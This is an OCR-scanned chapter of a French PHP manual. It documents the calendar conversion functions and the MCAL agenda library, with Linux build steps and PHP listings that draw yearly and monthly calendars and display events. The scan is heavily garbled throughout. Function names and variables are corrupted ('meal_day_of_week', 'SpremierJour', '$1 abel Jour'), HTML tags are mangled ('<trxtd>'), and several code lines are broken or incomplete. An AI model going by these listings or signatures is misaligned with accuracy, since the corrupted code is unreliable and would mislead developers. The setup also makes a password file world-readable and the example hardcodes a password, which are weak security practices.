$jour 
$annee 
retour 



int jewishToJD(int $mois, int $jour, int $annee) 
Mois dans le calendrier juif. 
Jour dans le calendrier juif. 
Annee dans le calendrier juif. 
Nombre de jours du calendrier julien. 
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JDToFrenchQ 



Retourne une chaine au format "mois/jour/annee" du calendrier republicain francais 
correspondant au nombre de jours donnes dans le calendrier julien. 

Syntaxe string JDToFrench(int $jour) 

$jour Nombre de jours dans le calendrier julien. 

retour Chaine au format "mois/jour/annee" du calendrier republicain francais. 



frenchToJDQ 



Retourne le nombre de jours du calendrier julien correspondant a la date donnee dans le 
calendrier republicain francais (valable pour les dates du 22 septembre 1792 au 22 septembre 
1806 du calendrier gregorien, meme si son utilisation a ete abandonnee le 31 decembre 1805). 

Syntaxe int frenchToJD(int $mois, int $jour, int $annee) 

$mo i s Mois dans le calendrier republicain francais. 

$ j our Jour dans le calendrier republicain francais. 

$annee Annee dans le calendrier republicain francais. 

retour Nombre de jours du calendrier julien. 



JDToJulianQ 
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Retourne la date du calendrier julien au format "mois/jour/annee" a partir de la date exprimee 
en nombre de jours. 

Syntaxe string JDToJul i an (int $jour) 

$jour Nombre de jours dans le calendrier julien. 

retour Date du calendrier julien au format "mois/jour/annee". 



julianToJD() 

Retourne la date du calendrier julien exprimee en nombre de jours. 

Syntaxe int Jul ianToJD(int $mois, int $jour, int $annee) 

$mo i s Mois dans le calendrier julien. 

$jour Jour dans le calendrier julien. 
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$annee Annee dans le calendrier julien. 

retour Nombre de jours. 

Manipulation d'une date dans le calendrier julien 



JDMonthNameO 

Retourne en toutes lettres (en anglais) le nom du mois dans le calendrier precise. 

Syntaxe string JDMonthName(int $dateJul ien, int $calendrier) 

$dateJul i en Date exprimee en nombre de jours du calendrier julien. 

$cal endri er Une des valeurs suivantes : 

= gregorien (abrege aux trois premieres lettres). 

1 = gregorien. 

2 = julien (abrege aux trois premieres lettres). 

3 = julien. 

4 = juif . 

5 = republicain frangais (uniquement valable pour les dates allant du 22 
septembre 1792 au 22 septembre 1806 du calendrier gregorien). 

retour Nom du mois. 



JDDayOfWeek() 

Retourne le nom (en anglais) du jour de la semaine ou son numero. 

Syntaxe mixed JDDayOfWeek(int $dateJulien, int $mode) 

$dateJul ien Date exprimee en nombre de jours du calendrier julien. 

$mode Une des valeurs suivantes : 

= numero du jour (1 = dimanche). 

1 = nom du jour. 

2 = nom du jour abrege aux trois premieres lettres. 

retour Numero du jour de la semaine (mode = 0), nom du jour sinon. 

8.3. Les gestionnaires d'evenements 

Jusqu'a l'arrivee de PHP 5, PHP proposait des bibliotheques permettant d'interagir avec des 
gestionnaires d'evenements supportant le protocole ICAP (iCalendar Protocol). 
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Si vous utilisez PHP4, il vous est done possible de creer votre propre interface Internet de suivi 
et d'administration de vos agendas. Cette interface vous sera alors accessible depuis n'importe 
quel poste disposant d'un navigateur (et non pas seulement depuis les postes equipes du logiciel 
client de la solution de gestionnaire d'evenements retenue). 

Pour cela, vous devrez utiliser la bibliotheque MCAL (Modular Calendar AccessLibrary). 
Celle-ci, en plus de supporter le protocole ICAP, permet d'utiliser des fichiers locaux comme 
support des donnees. De plus, cette bibliotheque a ete developpee pour etre modulaire ce qui, 
en theorie du moins, lui permet de supporter d'autres protocoles. 



£Jk En savoirplus 

%$? Le protocole ICAP est defini paries RFC-2445 "Internet Calendaring and Scheduling 

INTERNET Core Object Specification (iCalendar)" et RFC-2446 "iCalendar 
Transport-Independent Interoperability Protocol (iTIP)" disponibles en anglais awe 
adresses suivantes : 
http://www.ietf.org/rfc/rfc2445.txt 
http:llwww.ietf.org/rfc/rfc2446.txt 

Pour etre utilisee, cette bibliotheque doit au prealable etre recuperee, compilee et integree 
a PHP. 

Installation 

Cette bibliotheque n'est pas disponible sous Windows. 

Sous Linux 



Pre-requis 

Pour pouvoir compiler cette bibliotheque, ilfaut avoir installe au prealable les outils 
de compilation et autres commandes telles que "flex. 



REMARQUE 
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La bibliotheque mcal est composee de deux elements : 
libmcal : la bibliotheque proprement dite ; 



mcaldrivers : les modules de la bibliotheque comprenant les pilotes pour le protocole 
ICAP et ceux pour les fichiers locaux (mstore). 

Ces deux fichiers (disponibles sur le CD-ROM) peuvent etre telecharges a l'adresse 
http://sourceforge.net/projects/libmcal/. 

Apres les avoir copies dans un repertoire donne (ex. : /usr/local/src/lib), decompressez ces deux 
fichiers a l'aide des commandes suivantes : 

# gunzip libmcal-0.7.tar.gz 

# tar xvf 1 ibmcal-0.7.tar 

# gunzip mcaldrivers-0.9.tar.gz 

# tar xvf mcaldrivers-0.9.tar 
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Puis, deplacez le contenu de mcaldrivers dans libmcal : 

# mv meal -drivers/* libmcal 

Ensuite, passez a la generation des pilotes mstore et icap : 

# cd libmcal 

# cd mstore 

# make 

# cd .. 

# cd icap 

# make 

# cd .. 

Enfin, passez a la generation de la bibliotheque : 

# chmod +x configure 

# ./configure --wi th-mstore --with-icap 

# make 

Un fichier libmcal.a est alors genere. 

II est maintenant possible de (re)compiler PHP apres avoir ajoute l'option 
"—with-mcal=<chemin vers le repertoire libmcal contenant libmcal. a>" (ex. : — with-mcal=/ 

usr/local/src/lib/libmcal ). 



RENVOI 



Vous pouvez consulter le chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



REMARQUE 



Initialisation mstore 

Si vous souhaitez utiliser le module mstore (autrement dit utiliser un fichier local 
pour stocker vos agendas), il vousfaut d'abord creer un repertoire pour heberger ces 
agendas, ainsi qu'un fichier de mots de passe. Pour cela, il suffit de suivre la 
procedure suivante : 

# mkdir /var/calendar 

# chmod 1777 /var/calendar 

# touch /etc/mpasswd 

# chmod a+r /etc/mpasswd 

Mstore utilisant un fichier de mots de passe au format identique a celui d' Apache, 
vous devez utiliser la commande htpasswd fournie avec Apache pour le generer. 
Vous prendrez soin, ici, de remplacer la variable $apache_home par sa valeur (qui 
pourra etre /usr/local/apache, lusr ou autre selon votre configuration). 



$APACHE_HOME/bin/htpasswd -b /etc/mpasswd <login> <mot de passe> 
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Verification 



Vous pouvez verifier que le support de la bibliotheque mcal est effectif en appelant un script 
contenant simplement <?php phpinf o ( ) ; ?> et qui doit afficher : 



meal 




MCAL Support 


enabled 




MCAL Version 


0.6-20000121 







Figure 8.2 : phpinfo() 

Les fonctions 

II est possible de distinguer deux types de fonctions : celles qui permettent de manipuler les 
dates et celles qui permettent effectivement de manipuler les informations stockees dans les 
agendas. 

Les fonctions de manipulation de dates trouvent, pour la plupart, leur equivalent parmi les 
fonctions proposees par defaut avec PHP. II y a toutefois une petite difference, puisque, 
contrairement aux autres, les fonctions de la bibliotheque mcal sont egalement valables pour 
des dates precedant le l er Janvier 1970. 
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mcal_date_valid() 



Teste la validite de la date. 



Syntaxe 

$annee 

$mois 

$jour 



boolean mcal_date_val id(int $annee, int $mois, int $jour) 

Annee. 

Mois. 

Jour. 



retour TRUE si la date est valide, FALSE sinon. 

Equivalent sans la bibliotheque mcal : 
checkdate($mois, $jour, $annee); 



mcal_time_valid() 



Teste la validite de l'heure. 



Syntaxe 

$heure 

$minute 

$seconde 



boolean mcal_time_val id(int $heure, int $minute, int $seconde) 

Heure. 

Minute. 

Seconde. 
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retour TRUE si l'heure est valide, FALSE sinon. 

Equivalent sans la bibliotheque mcal : 

( ($heure>=0 && $heure<24 ) && ($minute>=0 && $minute<60) 
&& ($seconde>=0 && $seconde<60)) 



mcal_day_of_week() 



Retourne le numero du jour dans la semaine de la date donnee. 

Syntaxe int mcal_day_of_week(int $annee, int $mois, int $jour) 

$annee Annee. 

$mois Mois. 

$jour Jour. 

retour Numero du jour dans la semaine (0 = dimanche, ..., 6 = samedi). En fait, 

des constantes existent MCAL_SUNDAY, MCAL_MONDAY, 

MCAL_TUESDAY, MCAL_THURSDAY, MCAL_FRIDAY, 
MCAL_Saturday. 

Equivalent sans la bibliotheque mcal (pour les dates dans la limite de validite des timestamps) : 

$tab = getdate(mktime(0, 0, 0, $mois, $jour, $annee)); 
return $tab["wday"] ; 



mcal_day_of_year () 

Retourne le numero du jour dans l'annee de la date donnee. 

Syntaxe int mcal_day_of_year(int $annee, int $mois, int $jour) 

$annee Annee. 

$mois Mois. 

$jour Jour. 

retour Numero du jour dans l'annee (1 = l er Janvier, ...). 

Equivalent sans la bibliotheque mcal (pour les dates dans la limite de validite des timestamps) 

$tab = getdate(mktime(0, 0, 0, $mois, $jour, $annee)); 
return $tab["yday"] + 1; 
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mcal_date_compare () 

Compare deux dates. 

Syntaxe int mcal_date_compare(int $anneel, int $moisl, int $jourl, int 

$annee2, int $mois2, int $jour2) 

$anneel Annee de la l ere date a comparer. 

$mo i s 1 Mois de la l ere date a comparer. 

$jourl Jour de la l ere date a comparer. 

$annee2 Annee de la 2 e date a comparer. 

$mo i s 2 Mois de la 2 e date a comparer. 

$jour2 Jour de la 2 e date a comparer. 

retour -1 si la l ere date est anterieure a la seconde, si elles sont identiques, 1 

sinon. 

Equivalent sans la bibliotheque mcal (pour les dates dans la limite de validite des timestamps) : 

$diff = mktime(0, 0, 0, $moisl, $jourl, $anneel) - 

mktime(0, 0, 0, $mois2, $jour2, $annee2); 
if ($diff == 0) return 0; 
return $diff>0?l:-l; 



mcal_is_leap_year () 

Teste si l'annee est bissextile. 

Syntaxe boolean mcal_is_leap_year (int $annee) 

$annee Annee. 

retour TRUE si l'annee est bissextile, FALSE sinon. 

Equivalent sans la bibliotheque mcal : 
return checkdate(2, 29, $annee); 



mcal_days_in_month () 

Retourne le nombre de jours dans le mois en tenant compte des annees bissextiles. 
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Syntaxe int mcal_days_in_month(int $mois, boolean $bissextile) 

$moi s Mois. 

$bi ssexti 1 e Indiquez TRUE s'il s'agit d'une annee bissextile, FALSE sinon. 

retour Nombre de jours dans le mois. 

Equivalent sans la bibliotheque mcal : 

if ($mois == 2) { 
if ($bi ssexti le) { 

return 29; 
} else { 

return 28; 



if (checkdate($mois, 31, 2000)) { 

return 31; 
} else { 

return 30; 



Une utilisation courante de ces fonctions consiste a afficher un calendrier (annuel, mensuel, 
etc.). 



1C02 
Janv. Fevr Mars Avril Mai Juin Juil. Aout Sept. Oct. Nov. Dec. 




Figure 8.3 : Calendrier annuel 
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Mars 2002 

Lu. Mi Me, Je, Ve, Sa. Di. 

1 2 3 



4 


5 


6 7 


8 9 10 


11 


12 


13 14 


15 16 17 


18 


19 


20 21 


22 23 24 


25 


26 


27 28 


29 30 31 



Figure 8.4 : 

Calendrier mensuel 
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Ce resultat peut etre obtenu avec le script suivant : 

Listing 8.9 : mcal_01_inc.php 

<?php 

class MCAL_Agenda { 

/** 

* Affiche une annee sous forme de calendrier 

*/ 
function afficheAnnee($annee) 

{ 

$labelMois = array(l => "Janv.", "Fevr.", "Mars", "Avril", 
"Mai", "Juin", "Juil.", "Aout", 
"Sept.", "Oct.", "Nov.", "Dec."); 

$1 abel Jour = array ("Di . ", "Lu. ", "Ma. " , "Me. " , "Je. " , "Ve. " , "Sa. ") ; 

echo "<table cellspacing=\"10\">\n"; 

echo "<trxtd colspan=\"12\" al ign=\"center\">$annee</tdx/tr>\n" 

// Affiche les entetes de colonnes (les mois) 
echo "<tr>"; 

for ($mois = 1; $mois <= 12; $mois++) { 
echo "<td>".$labelMois[$mois] . "</td>"; 

} 

echo "</tr>\n"; 

// Complete chaque mois 

echo "<tr>"; 

for ($mois = 1; $mois <= 12; $mois++) { 

// Donne une couleur de fond differente pour les mois 
// pairs et les mois impairs 
if (($mois % 2) == 0) { 

$cssClass = "moisPair"; 
} else { 

$cssClass = "moislmpair"; 

} 

echo "<td class=\"$cssClass\">\n"; 

echo "<table eel lspacing=\"0\" cellpadding=\"0\">"; 

// Determine le nombre de jours dans le mois 
// en tenant compte des annees bissextiles 



456 



Les gestionnaires d'evenements 



$nbJour = mcal_days_in_month($mois,mcal_is_leap_year($annee)) ; 
for ($jour = 1; $jour <= $nbJour; $jour++) { 

echo "<tr>"; 

echo "<td al ign=\"left\">"; 

// Determine de quel jour il s'agit 

// pour l'afficher en toutes lettres 

echo $ label Jour [meal _day_of_week($annee,$mois,$ jour)] ."</td>" 

$cssClass = "date"; 

echo "<td al ign=\"right\" class=\"$cssClass\">"; 

echo "$jour</td>"; 

echo "</tr>"; 

} 

// Ajoute des blancs en bas de tableau si necessaire 
for ($jour = $nbJour + 1; $jour <= 31; $jour++) { 
echo "<tr><td> </td><td> </tdx/tr>"; 

} 

echo "</table>\n"; 

echo "</td>"; 
} 

echo "</tr>"; 
echo "</table>\n"; 



* Affiche un mois sous forme de calendrier 

7 

function afficheMois($mois, $annee, $mcal="") 
{ 

$labelMois = array(l => "Janvier", "Fevrier", "Mars", "Avril", 
"Mai", "Juin", "Juillet", "Aout", "Septembre", 
"Octobre", "Novembre", "Decembre"); 
$1 abel Jour = array ("Lu. " , "Ma. " , "Me. " , " Je. " , "Ve. " , "Sa. " , "Di . ") ; 



// Determine le nombre de jours dans le mois 
// en tenant compte des annees bissextiles 
$nbJours=mcal_days_i njnonth ($moi s , mcal_i s_l eap_year ($annee) ) ; 

echo "<table>\n"; 

echo "<trxtd colspan=\"4\">$labelMois[$mois]</td>"; 

echo "<td colspan=\"3\" al ign=\"right\">$annee</tdx/tr>\n"; 

echo "<tr>"; 

for ($i = 0; $i < 7; $i++) { 

echo "<td>$l abel Jour [$i]</td>"; 

} 

echo "</tr>\n"; 

echo "<tr>"; 

SpremierJour = meal day of week($annee, $mois, 1); 
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// convert! r 0=Dimanche. . .6=Samedi 
// en 0=Lundi . . .6=Dimanche 
SpremierJour = ($premierJour +6) % 7; 

// Sauter autant de colonne que necessaire pour atteindre 

// le premier jour de la semaine 

for ($i = 0; $1 < $premierJour; $i++) { 

echo "<tdx/td>"; 
} 

// Puis passer en revue tous les jours du mois 
for ($i = 0; $i < $nbJours; $i++) { 
if (($i + $premierJour) % 7 == 0) { 

// Retour a la ligne chaque Lundi 

echo "</tr>\n<tr>"; 



} 



$cssClass = "date"; 

echo "<td al ign=\"right\" class=\"$cssClass\">"; 

echo ($i+l); 

echo "</td>"; 



} 
?> 



echo "</tr>\n"; 
echo "</table>\n"; 
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Ce script pourra etre appele de la fagon suivante (ici, pour afficher les deux types de 
calendrier) : 

Listing 8.10: mcal_01.php 

<?php 

include("mcal_01_inc.php") ; 
?> 

<html> 
<head> 
<style> 
moisPair { 

background-color: #DDDDFF; 

mois Impair { 

background-color: #9999FF; 

date { 

background-color: #DDDDFF; 

</style> 

</head> 

<body> 
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<h2>Bibliotheque MCAL</h2> 
<?php 

$dateCourante = getdate(); 

MCAL_Agenda : : af f i cheAnnee ($dateCourante ["year"] ) ; 

MCAL_Agenda: :afficheMois($dateCourante["mon"] , $dateCourante["year"]) ; 
?> 

</body> 
</html> 

Les fonctions d'acces aux agendas 

Comme le veut la logique, pour acceder a un agenda, il faut d'abord se connecter. II existe a ce 

propos trois fonctions : mcal_open ( ) , mcal_popen ( ) , et mcal_reopen ( ) . 



mcal_open() 

Ouvre un calendrier. 

Syntaxe resource mcal_open (string $calendrier, string $util isateur, 

string $motDePasse[, int $options]) 

$cal endri er Identifiant du calendrier que vous souhaitez ouvrir. Chaine de la forme 

{serveur/protocole}<proprietaire>calendrier. 

$util isateur Nom de 1'utilisateur. 

$motDePasse Mot de passe de 1'utilisateur. 

$options Manifestement inutilise. 

retour Retourne un identifiant de connexion, ou FALSE en cas d'echec. 

Cette fonction se decline egalement en mcal_popen ( ) (mais la persistance de la connexion 
n'est pas demontree) et mcal_reopen ( ) (dont le fonctionnement ne semble pas tout a fait 
satisfaisant). II n'est d'ailleurs pas assure que leur developpement soit tout a fait finalise. 

Dans le cas d'une connexion a un calendrier via le protocole mstore, le serveur est 
necessairement local. La chaine d'identification du serveur sera done de la forme 

{ /mstore}<proprietaire>calendrier. 

II est a noter qu'un utilisateur peut se connecter a l'agenda d'une autre personne pour acceder 
a ses informations publiques. D'ou l'utilite possible du champ proprietaire. Toutefois, si ce 
parametre n'est pas precise, e'est le calendrier de 1'utilisateur qui est considere. 

Nous ajouterons done a notre classe MCAL_Agenda la methode suivante : 

Listing 8.11 : mcal_02_inc.php (extrait) 

<?php 

// Extrait de la Classe MCAL 
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class MCAL_Agenda { 

/** 

* Se connecte a 1 'agenda 

* et retourne 1 ' identifiant associe 

7 
function connect() { 

$mcal = mcal_open("{/mstore}biblephp","bib1ephp","pwd") 
or die("La connexion a 1 'agenda a echoue"); 
return $mcal ; 



(...) 

} 
?> 

Une fois toutes les operations effectuees, il sera possible de liberer les ressources en fermant la 
connexion aii calendrier par mcal_close ( ) . 
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mcal_close() 

Ferme la connexion au calendrier. 

Syntaxe boolean mcal_close(resource $idConnexion [, int $options]) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$opti ons Role indetermine. 

retour Retourne FALSE en cas d'echec, TRUE sinon. 

Lecture des evenements 

Une des premieres operations que vous serez amene a faire sera probablement de recuperer la 
liste des evenements que vous avez notes dans l'agenda sur une periode donnee. Pour cela, vous 
devrez faire appel a la fonction mcai_iist_events ( ) . 



mcal_list_events() 

Retourne la liste des evenements intervenant entre deux dates. 

Syntaxe array mcal_l ist_events (resource $idConnexion, int $anneeDebut, 

int $moisDebut, int $jourDebut, int $anneeFin, int $moisFin, 
int $jourFin) 
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$idConnexion Identifiantde connexion tel que retourne par mcal_open( ) . 

$anneeDebut Annee de la date de debut de recherche. 

$moi sDebut Mois de la date de debut de recherche. 

$jourDebut Jour de la date de debut de recherche. 

$anneeFi n Annee de la date de fin de recherche. 

$moi s Fi n Mois de la date de fin de recherche. 

$jourFi n Jour de la date de fin de recherche. 

retour Tableau indexe ayant pour valeurs des entiers correspondant a des 

identifiants d'evenements. 

Cela nous permet deja de creer une fonction (ou plus exactement une methode) entrainant 
l'affichage d'un calendrier avec, en surbrillance, les jours auxquels des evenements sont 
associes. 

Voici done la methode d'affichage d'un calendrier enrichi par cette nouvelle fonctionnalite : 

Listing 8.12 : mcal_02_inc.php (extrait) 

<?php 

// Extrait de la classe MCAL_Agenda 

class MCAL_Agenda { 

// (•••) 
/** 

* Affiche une annee sous forme de calendrier 

* et montre les dates associees a un evenement 

*/ 
function afficheAnnee($annee, $mcal="") 

{ 

$labelMois = array(l => "Janv.", "Fevr.", "Mars", "Avril", 

"Mai", "Juin", "Juil.", "AoQt", 

"Sept.", "Oct.", "Nov.", "Dec."); 
$labelJour = array ("Di .","Lu. ","Ma. ","Me.","Je.","Ve. ","Sa. ") ; 

echo "<table cellspacing=\"10\">\n"; 

echo "<trxtd colspan=\"12\" align=\"center\">$annee</tdx/tr>\n"; 

// Affiche les entetes de colonnes (les mois) 

echo "<tr>"; 

for ($mois = 1; $mois <= 12; $mois++) { 

echo "<td>" . $1 abel Moi s [$moi s] . "</td>" ; 
} 
echo "</tr>\n"; 

// Complete chaque mois 
echo "<tr>"; 
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for ($mois = 1; $mois <= 12; $mois++) 
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// Donne une couleur de fond differente pour les mois 
// pairs et les mois impairs 
if (($mois % 2) == 0) { 

$cssClass = "moisPair"; 
} else { 

$cssClass = "moislmpair"; 

} 

echo "<td class=\"$cssClass\">\n"; 

echo "<table cellspacing=\"0\" cellpadding=\"0\">"; 

// Determine le nombre de jours dans le mois 

// en tenant compte des annees bissextiles 

$nbJour = mcal_days_in_month($mois, mcal_is_leap_year($annee)) ; 

for ($jour = 1; $jour <= $nbJour; $jour++) { 

echo "<tr>"; 

echo "<td al ign=\"left\">"; 

// Determine de quel jour il s'agit 

// pour l'afficher en toutes lettres 

echo $label Jour [meal _day_of_week($annee,$mois,$ jour)] ."</td>"; 

// A-t-on un evenement lie a cette date ? 
$avecEvenement = FALSE; 
if ($mcal != "") { 

$evenements = mcal_list_events($mcal , 

$annee, $mois, $jour, 
$annee, $mois, $jour); 
if (count ($evenements) >0 ) $avecEvenement = TRUE; 
s-= 



if ($avecEvenement) { 

$cssClass = "dateEvenement"; 
} else { 

$cssClass = "date"; 

} 

echo "<td al ign=\"right\" class=\"$cssClass\">"; 

echo "$jour</td>"; 

echo "</tr>"; 

} 

// Ajoute des blancs en bas de tableau si necessaire 
for ($jour = $nbJour + 1; $jour <= 31; $jour++) { 
echo "<tr><td> </td><td> </tdx/tr>"; 

} 

echo "</table>\n"; 

echo "</td>"; 

} 

echo "</tr>"; 
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echo "</table>\n"; 



// (•■•) 



qui pourra etre appele par : 

Listing 8.13 : mcal_02.php 

<?php 

include("mcal_02_inc.php") ; 
?> 

<html> 
<head> 
<style> 
moisPair { 

background-color: #DDDDFF; 

mois Impair { 

background-color: #9999FF; 

date { 

background-color: #DDDDFF; 

dateEvenement { 

background-color: #FF0000; 

</style> 

</head> 

<body> 

<h2>Bibliotheque MCAL</h2> 

<?php 

$mcal = MCAL_Agenda: : connect () ; 

$dateCourante = getdate(); 

MCAL_Agenda: :afficheAnnee($dateCourante["year"] , 

$mcal) ; 
MCAL_Agenda: :afficheMois($dateCourante["mon"] , 

$dateCourante["year"] , 
$mcal) ; 
?> 

</body> 
</html> 



Le fichier mcal_02.php n'est rien d'autre que mcal_01.php auquel nous avons ajoute un style 
afin de preciser la couleur des dates associees a un evenement et une connexion a l'agenda. 
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Voici un exemple de resultat obtenu (dans les cas d'un evenement mensuel sur toute l'annee et 
d'un evenement hebdomadaire sur les derniers mois). 



2002 
Janv. Fevr. Mars Avril Mai Juin Juil. Aout Sept. Oct. Nov. Dec. 




Figure 8.5 : Calendrier annuel avec des evenements 



REMARQUE 
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Attention awe evenements recurrents 

Nous aurionspu (comme nous I'avons vu dans des exemples proposes sur Internet) 
eviterun appela lafonction mcal_list_event ( ) pour chaque jour, etse contenter 
de I 'appliquer a I 'ensemble de la periode consideree. Le probleme est que, dans ce cas, 
pour les evenements recurrents, nous n'aurions pu calculer leurs differentes dates 
d 'apparition (la fonction mcal_list_event ( ) ne retournant qu'une seule fois 
Videntifiant de I'evenement, quel que soit son nombre d'apparitions sur la periode 
donnee). Cette methode n'est done serieusement envisageable que dans le cas d'un 
agenda ne contenant que des evenements ponctuels. 



Comme vous le constatez, la fonction mcai_list_event ( ) ne retourne qu'une liste 
d'identifiants, mais pas le descriptif des evenements. Pour cela, vous devez faire appel (pour 
chaque identifiant) a la fonction mcal_f etch_event ( ) . 
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mcal_fetch_event () 



Retourne les proprietes d'un evenement. 

Syntaxe object mcal_fetch_event(resource $idConnexion, int 

$ id Evenement [, int $options]) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$i dEvenement Identifiant de 1'evenement. 

$options Manifestement inutilise. 

retour Objet evenement . 

Les proprietes d'un evenement sont done retournees sous la forme d'un objet. 
Cet objet possede les attributs publics suivants: 

id (int) : identifiant de 1'evenement ; 

public (boolean) : true si 1'evenement est public, false s'il est prive ; 

title (string) : nom de 1'evenement ; 

category (string) : chaine de caracteres libre destinee a indiquer la categorie de 
1'evenement ; 

description (string) : description de 1'evenement ; 

attrlist (array) : tableau associatif des attributs personnalises (attribut => valeur) ; 

start (objet date et heme) : date de debut (de la premiere occurrence) de 1'evenement ; 

end (objet date et heme) : date de fin (de la premiere occurrence) de 1'evenement ; 

recur_type (int) : type de frequence pouvant avoir une des valeurs mcal_recur_none 
(ponctuelle), mcal_recur_daily (frequence exprimee en jours), mcal_recur_weekly 
(frequence exprimee en semaines), mcal_recur_monthly_mday (frequence exprimee en 
mois), mcal_recur_monthly_wday (frequence exprimee en mois, basee sur le jour de la 
semaine), mcal_recur_yearly (frequence exprimee en annees). 

recur_interval (int) : frequence 1 (jour/semaine/mois/annee) sur recur_interval (ex 

. : un jour sur deux si recur_type = MCAL_RECUR_DAI:ly et recur_interval = 2) ; 

r ecur_data (int) : jours de la semaine pendant lesquels 1'evenement a lieu (si recur_type 
= mcal_recur_weekly). Cette valeur est la somme des valeurs suivantes : l = dimanche, 
2 = lundi, 4 = mardi, 8 = mercredi, 16 = jeudi, 32 = vendredi, 64 = samedi). 

recur_enddate (objet date et heme) : date a laquelle 1'evenement recurrent s'arrete ; 

alarm (int) : delai (en minutes) precedant 1'evenement pour lequel il faut declencher une 
alarme. 

L'objet date et heme, quant a lui, possede les attributs publics suivants : 

year (int) : annee ; 
month (int) : mois ; 
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mday (int) : jour ; 

hour (int) : heure ; 

min (int) : minutes ; 

sec (min) : secondes ; 

alarm (min) : ce parametre n'est toutefois pas utilise. 

Nous pouvons done ajouter une methode affichant (brut de fonderie) les proprietes d'un 
evenement. 

Listing 8.14 : mcal_03_inc.php (extrait) 

<?php 

// Extrait de la Classe MCAL_Agenda 

class MCAL_Agenda { 

// (■■•) 

function afficheEvenement($idEvenement, $mcal) 

{ 

$evenement = mcal_fetch_event($mcal , $idEvenement) ; 
echo "<table>"; 

echo "<td colspan=\"2\" class=\"titreEvenement\">"; 
echo $evenement->title." (".$evenement->id."/"; 
if ($evenement->publ ic) { 

echo "Publique"; 
} else { 

echo "Prive"; 

} 

echo ")</tdx/tr>\n"; 

echo "<trxtd>Categorie</tdxtd>" .$evenement->category."</tdx/tr>"; 
echo "<trxtd>Description</td>"; 
echo "<td>" .$evenement->description. "</tdx/tr>" ; 
echo "<trxtd>Attributs Personnalises</td>"; 
echo "<td>"; 

foreach ($evenement->attrlist as $nom => $valeur) { 
echo "$nom = $valeur<br />"; 

} 

echo "</tdx/tr>"; 

echo "<trxtd>Alarme</td>"; 

echo "<td>".$evenement->alarm." minutes avant</tdx/tr>"; 

$dateDebut = $evenement->start; 
echo "<trxtd>Debut</td>"; 

echo "<td>" .$dateDebut->mday. "/" .$dateDebut->month. "/" ; 

echo $dateDebut->year. " " .$dateDebut->hour. " : " .$dateDebut->min; 

echo " : ".$dateDebut->sec. ; 

echo " (Alarme : ".$dateDebut->alarm. ")</tdx/tr>"; 
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$dateFin = $evenement->end; 

echo "<tr><td>Fin</td><td>".$dateFin->mday."/".$dateFin->month."/"; 
echo $dateFin->year." " .$dateFin->hour." : ".$dateFin->min; 
echo ":".$dateFin->sec." (Alarme : " .$dateFin->alarm.")</tdx/tr>"; 
echo "<trxtd>Frequence</td>"; 
echo "<td>"; 

switch ($evenement->recur_type) { 
case : echo "Ponctuel"; 

break; 
case 1 : 

if ($evenement»recur_interval == 1) { 

echo "Quotidien"; 
} else { 

echo "1 jour sur ". $evenement->recur_i interval ; 
} 

break; 
case 2 : if ($evenement->recur_interval == 1) { 
echo "Hebdomadai re"; 
} else { 

echo "1 semaine sur " .$evenement->recur_interval ; 

} 

echo "<br />Les "; 

if (($evenement->recur_data & 1)>0) echo "Dimanche "; 
if (($evenement->recur_data & 2)>0) echo "Lundi "; 
if (($evenement->recur_data & 4)>0) echo "Mardi "; 
if (($evenement->recur_data & 8)>0) echo "Mercredi "; 
if (($evenement->recur_data & 16)>0) echo "Jeudi "; 
if (($evenement->recur_data & 32)>0) echo "Vendredi "; 
if (($evenement->recur_data & 64)>0) echo "Samedi "; 
break; 
case 3 : if ($evenement->recur_interval == 1) { 

echo "Mensuel"; 
} else { 

echo "1 mois sur ". $evenement->recur_i interval ; 
} 

break; 
case 4 : echo "Tous les N-ieme jour (Dim, Lun...) du mois."; 
if ($evenement->recur_interval == 1) { 

echo "Mensuel"; 
} else { 

echo "1 mois sur ". $evenement->recur_i interval ; 

} 

break; 
case 5 : if ($evenement->recur_interval == 1) { 
echo "Annuel"; 

} else { 

echo "1 an sur ".$evenement->recur_interval ; 

} 

break; 
default : echo "????"; 

break; 
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} 

echo "</tdx/tr>"; 

$dateFinRecur = $evenement->recur_enddate; 

echo "<trxtd>Jusqu'au</td>"; 

echo "<td>" . $dateFi nRecur->mday . "/" ■ $dateFi nRecur->month . "/" ; 

echo $dateFinRecur->year. " "; 

echo $dateFinRecur->hour. ": " .$dateFinRecur->min; 

echo ": M .$dateFinRecur->sec; 

echo " (Alarme : " .$dateFinRecur->alarm. ")</tdx/tr>"; 

echo "</table>"; 
} 
} 
?> 



Bibliotheque 


MCAL 


Reunion (10161 37658/Prive) 


Categorie 


boulot 


Description 


Reunion, d'avancement sur le pro jet X245 


Attributs Personnalises rnonAttributl - A204 


Alarme 


5 minutes a,vant 


Debut 


4/ll/200210:0:0(Alarme:) 


Fin 


4/11/2002 12:30:0 (Alarme:) 


Frequence 


Hebdomad aire 
Les Lundi 


Jusqu'au 


31/12/2002;: (Alarme;) 



Figure 8.6 : 

Fiche evenement 



II est egalement possible de connaitre la date du prochain evenement par rapport a une date 
donnee. 



mcal_next_recurrence () 



Retourne la date de l'evenement suivant la date donnee. 
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Syntaxe 

$idConnexion 
$weekstart 

$dateDebut 



retour 



object mcal_next_recurrence(resource $idConnexion, int 
$weekstart, array $dateDebut) 

Identifiant de connexion tel que retourne par mcal_open ( ) . 

Vraiment pas clair, le role de cet argument ! II ne semble avoir aucune 
influence sur le resultat. . . 

Tableau associatif contenant la date de debut de recherche avec les cles : 

"year" pour l'annee. 

"month" pour le mois. 

"mday" pour le jour. 

"hour" pour l'heure. 

"min" pour les minutes. 

"sec" pour les secondes. 

Objet date. 
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Definition des donnees des evenements 

L'insertion de nouveaux evenements dans l'agenda debute par l'initialisation des donnees de 
l'evenement en cours de description par un appel a mcal_event_init ( ) . 



mcal_event_init() 

Initialise une nouvelle description d'evenement. 

Syntaxe boolean mcal_event_init(resource $idConnexion) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( 

retour TRUE. 

II est ensuite possible de definir, pour l'evenement en cours : 

Sa visibilite (publique ou privee) ; 

Son titre ; 

Sa description ; 

Sa categorie ; 

Ses parametres personnalises ; 

Sa date. 



mcal_event_set_class () 

Fixe la visibilite (publique ou privee) de l'evenement. Par defaut, un evenement est prive. 

Syntaxe boolean mcal_event_set_cl ass (resource $idConnexion, boolean 

$vi sibil ite) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$vi si bi 1 i te Visibilite de l'evenement (TRUE = publique, FALSE = privee). 

retour true. 



